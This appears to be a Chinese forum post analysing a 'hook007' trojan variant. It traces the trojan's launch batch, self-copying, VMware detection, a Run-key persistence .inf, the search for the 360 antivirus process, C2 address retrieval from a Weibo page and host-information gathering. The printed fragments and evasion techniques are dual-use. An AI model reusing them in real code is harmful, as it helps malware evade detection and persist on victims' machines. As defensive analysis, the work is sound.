前言
这个样本最近有人分析过,分析帖子在这里http://www.52pojie.cn/forum.php?mod=viewthread&tid=406654&page=1#pid9966515,我只是看到Ta的排版心里好痒痒,才写了这个文章,没有其他意思。分析的不好的话大家不要打我啊,我怕疼啊。简单介绍一下这个样本,这个样本以前看到过,是在360技术博客上看到过,这是一系列的木马,该系列木马有一个酷酷的名字叫做hook007家族,人家是以家族来称的,所以可见这类木马是有很多的。这就是其中的变种之一吧
样本信息
nvwsrds.dll-MD5: 22248627f964fe6cd6a137c9fbb12a58
png.bat-MD5: 97f24d32dba35fe19b11951c4bb09bfd
temp-MD5: 7c0fe5ca914753bb93351508836a266f
图1-MD5: d652e4f08ac6b7ba5f6aab1be42dbda2
样本分析
"图1"分析
"图1"是一个快捷方式,指向了cmd,调用cmd去执行png.bat
C:\WINDOWS\system32\cmd.exe /c png.bat
png.bat分析
Png.bat是一个批处理文件,用记事本打开的时候是乱码,这里有一个小的知识点,这个bat采用的是UTF-16LE编码形式,只要我们用winhex将最前面的FF FE去掉,用记事本打开就不是乱码了。大家可以下去试试。
mkdir "%programfiles%"
rundll32.exe nvwsrds.dll,avmode -fn hgfyryertsdsd
nvwsrds.dll分析
0x01采用大量花指令来做免杀
在分析png.bat的时候,我们就知道这个样本的重头戏就在avmode这个函数里面,所以我们重点从这个函数入手,在进入这个函数的时候,我们看到的是大量的花指令,列如下面一小段
1: 10003468 55 push ebp
2: 10003469 90 nop
3: 1000346A 90 nop
4: 1000346B 8BEC mov ebp,esp
5: 1000346D 85F6 test esi,esi
6: 1000346F 90 nop
7: 10003470 8BE5 mov esp,ebp
8: 10003472 90 nop
9: 10003473 90 nop
10: 10003474 5D pop ebp
0x02判断自身是否已驻扎在系统
先通过调用GetModuleFileName获取到当前已加载模块的完整路径,然后通过调用strstr函数来判断当前已加载模块中是否含有nvwing.dll字符串
1: 0012F374 100062DC |s1 = "c:\documents and settings\administrator\桌面\价格图\nvwsrds.dll"
2: 0012F378 0012F930 \s2 = "\nvwimg.dll"
0x03对敏感信息的隐藏
该样本在对敏感字符串和敏感函数的处理上都是通过使用拼接的方式来获完成的,如下
1: .text:10002E90 mov byte ptr [ebp-9Bh], ‘A‘
2: .text:10002E97 mov [ebp-9Ah], al
3: .text:10002E9D mov [ebp-99h], al
4: .text:10002EA3 mov byte ptr [ebp-98h], ‘D‘
5: .text:10002EAA mov byte ptr [ebp-97h], ‘A‘
6: .text:10002EB1 mov byte ptr [ebp-96h], ‘T‘
7: .text:10002EB8 mov byte ptr [ebp-95h], ‘A‘
8: .text:10002EBF mov [ebp-94h], cl
9: .text:10002EC5 mov byte ptr [ebp-93h], ‘\‘
对于敏感函数的处理是先通过拼接的方式获取到完整的函数名,在通过LoadLibrary和GetProceAddress函数合用获取到函数的地址,然后进行调用
0x04复制自身
调用ExpandEnvironmentStringA函数,传入参数%APPDAT%avmode来得到即将要创建的文件的路径,当函数调用成功后,%APPDAT%\avmode会扩展成 "C:\Documents and Settings\Administrator\Application Data\avmode"
然后调用CreateDirectoryA函数来创建路径。再调用strcat函数将文件名添加到后面(注意到没有,这里的文件名就是最开始的时候查找字符串,所以这里我们可以看出分析出前面是在判断样本是否已经驻扎在了我们的电脑里面)
1: 0012F370 10002FBB /CALL 到 lstrcatA 来自 nvwsrds.10002FB9
2: 0012F374 0012F488 |ConcatString = "C:\Documents and Settings\Administrator\Application Data\avmode"
3: 0012F378 0012F930 \StringToAdd = "\nvwimg.dll"
调用CopyFile函数将文件复制到新的目录下
1: 0012F36C 10002FD1 /CALL 到 CopyFileA 来自 nvwsrds.10002FCF
2: 0012F370 100062DC |ExistingFileName = "c:\documents and settings\administrator\桌面\价格图\nvwsrds.dll"
3: 0012F374 0012F488 |NewFileName = "C:\Documents and Settings\Administrator\Application Data\avmode\nvwimg.dll"
4: 0012F378 00000000 \FailIfExists = FALSE
接下来样本使用同样的手段将temp文件复制到了 "C:\Documents and Settings\Administrator\Application Data\avmode"路径下。
0x05全屏显示图片
这里样本一个以字符串拼接获取到字符串"shimgvw.dll,ImageView_Fullscreen c:\documents and settings\administrator\桌面\价格图\bbs.bmp",也就是下面调用ShellExecuteA函数时需要用到的一个参数。这里的功能其实就是使图片bbs.bmp全屏显示。所以这里不知道是样本的不完整,还是是样本保留了以前的版本的一些功能。
1: 0012F360 10003326 /CALL 到 ShellExecuteA 来自 nvwsrds.10003324
2: 0012F364 00000000 |hWnd = NULL
3: 0012F368 0012F958 |Operation = "Open"
4: 0012F36C 0012F904 |FileName = "rundll32.exe"
5: 0012F370 0012F690 |Parameters = "shimgvw.dll,ImageView_Fullscreen c:\documents and settings\administrator\桌面\价格图\bbs.bmp"
6: 0012F374 100060D8 |DefDir = "c:\"
7: 0012F378 00000005 \IsShown = 5
0x06 执行复制到系统中的"自己"
前面这些都是在为隐藏自己做的铺垫
1: 0012F360 100033CB /CALL 到 ShellExecuteA 来自 nvwsrds.100033C9
2: 0012F364 00000000 |hWnd = NULL
3: 0012F368 0012F958 |Operation = "Open"
4: 0012F36C 0012F904 |FileName = "rundll32.exe"
5: 0012F370 0012F388 |Parameters = ""C:\Documents and Settings\Administrator\Application Data\avmode\nvwimg.dll" avmode"
6: 0012F374 100060D8 |DefDir = "c:\"
7: 0012F378 00000005 \IsShown = 5
0x07检测虚拟机
首先还是判断自己是不是已经驻扎在了系统中,如果有就开始做检测啦。这里使用的是特权指令来检测是否是在虚拟机中,原理是因为in指令属于特权指令,在处于保护模式下的合计上执行次指令时,除非权限允许,否则将会"EXCEPTION_PRIV_INSTRUCTION"异常(程序企图执行一条当前CPU模式不允许的指令时引发该异常),但是在虚拟机中的时候就不会触发该异常
1: .text:100027D8 mov eax, ‘VMXh‘
2: .text:100027DD mov ebx, 0
3: .text:100027E2 mov ecx, 0Ah ;指定功能号,0A是获取版VMware版本
4: .text:100027E7 mov edx, ‘VX‘ ;端口号
5: .text:100027EC in eax, dx ;从端口dx读取VWware版本到eax
6: .text:100027ED cmp ebx, ‘VMXh‘ ;判断ebx中是否包含VMware版本"VMXh",如果有就在虚拟机中
7: .text:100027F3 setz byte ptr [ebp-1Ch] ;设置返回值
因为已经知道是是需要触发异常才能去执行正确的代码段,这里我们直接去找到异常处理的地方,当我们执行完in eax,dx的时候,我们就可以去查找异常处理链来找到异常处理的地址
1: 0012F330 0012F998 指向下一个 SEH 记录的指针
2: 0012F334 1000244E SE处理程序
SE处就是我们要找的地方。我们在这里新建eip,然后F7,然后alt+F9就到达了用户领空了
1: 1000244E - FF25 88430010 jmp dword ptr ds:[<&MSVCRT._except_handl>; msvcrt._except_handler3
这里说一点是当他检测到了虚拟机的时候是进入了休眠里,使用了sleep和jmp使程序一直在sleep,而不是直接退出程序
0x08解密temp文件
1: 0012EC0C 10002A94 /CALL 到 CreateFileA 来自 nvwimg.10002A92
2: 0012EC10 100062DC |FileName = "c:\documents and settings\administrator\application data\avmode\temp"
3: 0012EC14 80000000 |Access = GENERIC_READ
4: 0012EC18 00000000 |ShareMode = 0
5: 0012EC1C 00000000 |pSecurity = NULL
6: 0012EC20 00000003 |Mode = OPEN_EXISTING
7: 0012EC24 00000080 |Attributes = NORMAL
8: 0012EC28 00000000 \hTemplateFile = NULL
获取文件大小
1: 0012EC20 10002AB6 /CALL 到 GetFileSize 来自 nvwimg.10002AB3
2: 0012EC24 0000003C |hFile = 0000003C
3: 0012EC28 00000000 \pFileSizeHigh = NULL
读取文件
1: 0012EC14 10002B2A /CALL 到 ReadFile 来自 nvwimg.10002B28
2: 0012EC18 0000003C |hFile = 0000003C
3: 0012EC1C 00A20048 |Buffer = 00A20048
4: 0012EC20 0002102D |BytesToRead = 2102D (135213.)
5: 0012EC24 0012EC4C |pBytesRead = 0012EC4C
6: 0012EC28 00000000 \pOverlapped = NULL
读入的temp文件
解密后的数据
0x09 创建配置文件
通过字符串拼接的方式拼接处路径,然后创建配置文件
1: 0012DC90 00CBBDB7 /CALL 到 lstrcatA 来自 00CBBDB5
2: 0012DC94 0012EAD0 |ConcatString = "C:\Documents and Settings\Administrator\Application Data\avmode\avmode"
3: 0012DC98 00CCD6AC \StringToAdd = ".inf"
配置文件内容如下,主要起开机自启动作用
1: [Version]
2: Signature="$CHICAGO$"
3: [email protected], 2002
4: [DefaultInstall]
5: ; DelReg=run_DelReg
6: AddReg=run_AddReg
7: [run_DelReg]
8: [run_AddReg]
9: hkcu,"Software\Microsoft\Windows\CurrentVersion\Run","Update",,"rundll32.exe ""C:\Documents and Settings\Administrator\Application Data\avmode\Bitavmode.dll"",avmode"
10: [Strings]
0xA0创建互斥量
创建一个名文"t.qq.com/as730498358"的互斥量
1: 0012DC8C 00CBC370 /CALL 到 CreateMutexA 来自 00CBC36A
2: 0012DC90 00000000 |pSecurity = NULL
3: 0012DC94 00000000 |InitialOwner = FALSE
4: 0012DC98 00CCD220 \MutexName = "t.qq.com/as730498358"
0xA1创建线程
调用_beginthreadex创建线程,我们来到创建线程的地方的基地址,这里就跑到解密后的temp文件的领空去执行了
1: 00CBCF94 52 push edx
2: 00CBCF95 68 D0CECB00 push 0xCBCED0
3: 00CBCF9A 50 push eax
4: 00CBCF9B 51 push ecx
5: 00CBCF9C FF15 9822CC00 call dword ptr ds:[0xCC2298] ; msvcrt._beginthreadex
0xA2建立TCP协议
调用socket的时候,我们从参数SOCK_STREAM可以看出采用的TCP协议来进行通信,接下来就是基本的套接字的建立过程,就不写了。
1: 00EABBE4 00000002 |Family = AF_INET
2: 00EABBE8 00000001 |Type = SOCK_STREAM
3: 00EABBEC 00000006 \Protocol = IPPROTO_TCP
从下面看出这个是个客户端,在创建连接
1: 00CB2375 6A 10 push 0x10
2: 00CB2377 52 push edx
3: 00CB2378 50 push eax
4: 00CB2379 FF15 8824CC00 call dword ptr ds:[0xCC2488] ; ws2_32.connect
0xA3注册表操作
1: if ( !RegCreateKeyExA(hKey, lpSubKey, 0, 0, 0, 0xF003Fu, 0, &phkResult, &dwDisposition) )
2: goto LABEL_3;
3: break;
4: case 1:
5: LABEL_3:
6: if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && dwType > 0 )
7: {
8: if ( dwType <= 2 )
9: {
10: if ( !RegSetValueExA(phkResult, lpValueName, 0, dwType, lpData, strlen((const char *)lpData) + 1) )
11: goto LABEL_16;
12: }
13: else if ( dwType == 4 && !RegSetValueExA(phkResult, lpValueName, 0, 4u, &Data, 4u) )
14: {
15: goto LABEL_16;
16: }
17: }
18: break;
19: case 2:
20: if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && !RegDeleteKeyA(phkResult, lpValueName) )
21: goto LABEL_16;
22: break;
23: case 3:
24: if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && !RegDeleteValueA(phkResult, lpValueName) )
0xA4查找360主动防御进程
先创建快照,在遍历进程,在进程中寻找是否有"ZhuDongFangYu.exe"进程
1: 00CBB196 68 50D5CC00 push 0xCCD550 ; ASCII "ZhuDongFangYu.exe"
2: 00CBB19B 897424 20 mov dword ptr ss:[esp+0x20],esi
1: v1 = CreateToolhelp32Snapshot(2u, 0);
2: memset(&pe.cntUsage, 0, 0x124u);
3: pe.dwSize = 296;
4: if ( Process32First(v1, &pe) )
5: {
6: if ( !strcmpi(pe.szExeFile, lpString2) )
7: return pe.th32ProcessID;
8: if ( Process32Next(v1, &pe) )
9: {
10: while ( lstrcmpiA(pe.szExeFile, lpString2) )
11: {
12: if ( !Process32Next(v1, &pe) )
13: return 0;
14: }
15: return pe.th32ProcessID;
16: }
17: }
18: return 0;
19: }
0x0A5访问网络
1.首先通过访问www.360.cn来测试网络是否通畅,然后获取到即将访问的地址(写死到程序中的,就不详细介绍了)
1: 00CB1008 6A 01 push 0x1
2: 00CB100A 68 20B0CC00 push 0xCCB020 ; ASCII "www.360.cn"
3: 00CB100F 8946 14 mov dword ptr ds:[esi+0x14],eax
4: 00CB1012 8946 0C mov dword ptr ds:[esi+0xC],eax
5: 00CB1015 8946 10 mov dword ptr ds:[esi+0x10],eax
6: 00CB1018 8906 mov dword ptr ds:[esi],eax
7: 00CB101A 8946 04 mov dword ptr ds:[esi+0x4],eax
8: 00CB101D 8946 08 mov dword ptr ds:[esi+0x8],eax
9: 00CB1020 FF15 0824CC00 call dword ptr ds:[0xCC2408] ; wininet.InternetOpenA
1: 00EA9BEC 00EABE88 ASCII http://t.qq.com/as730498358
2.通过调用InternetReadFile来读取网页的源码
1: 00CB1404 50 push eax
2: 00CB1405 8D4C24 18 lea ecx,dword ptr ss:[esp+0x18]
3: 00CB1409 68 FF1F0000 push 0x1FFF
4: 00CB140E 51 push ecx
5: 00CB140F 52 push edx
6: 00CB1410 FF15 2C24CC00 call dword ptr ds:[0xCC242C] ; wininet.InternetReadFile
3.查看网页源代码的时候,可以看出来是通过IP#61标记来找到藏在主页中的ip地址
1: 00CBAE8D 68 5CD4CC00 push 0xCCD45C ; ASCII "IP="
2: 00CBAE92 50 push eax
3: 00CBAE93 FF15 D024CC00 call dword ptr ds:[0xCC24D0] ; ntdll.strstr
分割字符串,以获取"纯ip地址" C
1: 00CBAEAF 68 58D4CC00 push 0xCCD458 ; ASCII "&#"
2: 00CBAEB4 57 push edi
3: 00CBAEB5 FF15 A022CC00 call dword ptr ds:[0xCC22A0] ; msvcrt.strtok
0xA6 获取本机基本信息
1.获取主机名
1: 00CBA76C 83E1 03 and ecx,0x3
2: 00CBA76F F3:AA rep stos byte ptr es:[edi]
3: 00CBA771 FF15 B024CC00 call dword ptr ds:[0xCC24B0] ; ws2_32.gethostname
2.获取主机版本信息
1: 00CBA842 C68424 A0000000>mov byte ptr ss:[esp+0xA0],0x66
2: 00CBA84A C68424 7E010000>mov byte ptr ss:[esp+0x17E],0x0
3: 00CBA852 C78424 A4000000>mov dword ptr ss:[esp+0xA4],0x9C
4: 00CBA85D FF15 D821CC00 call dword ptr ds:[0xCC21D8] ; kernel32.GetVersionExA
3.获取本地地址
1: 00CBA93C 52 push edx
2: 00CBA93D FF15 B424CC00 call dword ptr ds:[0xCC24B4] ; ws2_32.getsockname
4.获取当前主机信息
1: 00CBA98A 51 push ecx
2: 00CBA98B FF15 0C21CC00 call dword ptr ds:[0xCC210C] ; kernel32.GetSystemInfo
5.获取硬盘容量
1: 00CBAA07 51 push ecx
2: 00CBAA08 52 push edx
3: 00CBAA09 FF15 C021CC00 call dword ptr ds:[0xCC21C0] ; kernel32.GetDiskFreeSpaceExA
6.获取当前时间信息
1: 00EAB6DC 00EAB8A4 ASCII "2015-09-02 16"
2: 00EAB6E0 00CCD414 ASCII "%4d-%.2d-%.2d %.2d"
0xA7提升权限
1: v2 = 1;
2: v3 = GetCurrentProcess();
3: if ( OpenProcessToken(v3, 0x28u, &TokenHandle) )
4: {
5: NewState.PrivilegeCount = 1;
6: NewState.Privileges[0].Attributes = a2 != 0 ? 2 : 0;
7: LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges);
8: AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
9: if ( GetLastError() )
10: v2 = 0;
11: CloseHandle(TokenHandle);
12: result = v2 != 0;
13: }
总结
啊,这个样本死了,抓包的时候也没有抓到什么有用的信息,这个样本分析就到这吧,感谢前面那篇文章的作者,在前面那篇文章中学到了一些新知识。谢谢